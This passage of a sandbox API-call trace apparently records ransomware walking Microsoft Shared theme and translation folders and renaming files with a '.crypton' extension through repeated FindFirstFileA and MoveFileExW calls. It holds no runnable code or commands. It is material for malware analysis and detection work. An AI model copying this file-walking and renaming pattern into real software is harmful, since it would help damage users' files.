Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0074.092] GetFileType (hFile=0x198) returned 0x1 [0074.097] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa986eec0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa986eec0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.101] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0074.121] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0074.123] GetFileType (hFile=0x198) returned 0x1 [0074.127] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa98bb180, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa98bb180, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.131] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0074.157] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0074.158] GetFileType (hFile=0x198) returned 0x1 [0074.163] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9907440, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9907440, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.167] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0074.195] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0074.196] GetFileType (hFile=0x198) returned 0x1 [0074.201] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9953700, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9953700, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.203] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0074.220] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0074.221] GetFileType (hFile=0x198) returned 0x1 [0074.228] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa999f9c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa999f9c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.230] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0074.248] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0074.250] GetFileType (hFile=0x198) returned 0x1 [0074.254] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa99ebc80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa99ebc80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.257] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0074.270] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0074.271] GetFileType (hFile=0x198) returned 0x1 [0074.275] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9a11de0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9a11de0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.278] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0074.290] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0074.296] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9a37f40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9a37f40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.299] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0074.318] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0074.319] GetFileType (hFile=0x198) returned 0x1 [0074.324] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9a84200, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9a84200, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.335] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0074.347] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0074.354] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9ad04c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9ad04c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.359] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0074.382] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0074.384] GetFileType (hFile=0x198) returned 0x1 [0074.389] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9b1c780, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9b1c780, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.392] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0074.415] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0074.420] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9b68a40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9b68a40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.423] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.crypton"), dwFlags=0x2) returned 1 [0074.441] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.crypton"), dwFlags=0x2) returned 1 [0074.446] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9bb4d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9bb4d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3f000837, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0074.447] GetFileType (hFile=0x198) returned 0x1 [0074.452] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9bb4d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9bb4d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.453] GetFileType (hFile=0x198) returned 0x1 [0074.459] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9bdae60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9bdae60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.460] GetFileType (hFile=0x198) returned 0x1 [0074.464] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9bdae60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9bdae60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.465] GetFileType (hFile=0x198) returned 0x1 [0074.470] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9c00fc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9c00fc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.471] GetFileType (hFile=0x198) returned 0x1 [0074.476] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9c00fc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9c00fc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.477] GetFileType (hFile=0x198) returned 0x1 [0074.482] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa9c00fc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9c00fc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.482] GetFileType (hFile=0x190) returned 0x1 [0074.487] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa9c27120, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9c27120, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3f000837, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0074.488] GetFileType (hFile=0x198) returned 0x1 [0074.492] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa9c27120, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9c27120, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.496] GetFileType (hFile=0x190) returned 0x1 [0074.501] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa9c27120, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9c27120, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3f000837, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0074.502] GetFileType (hFile=0x198) returned 0x1 [0074.508] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa9c4d280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa9c4d280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000636, cFileName=".", cAlternateFileName="")) returned 0x549810 [0074.513] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, 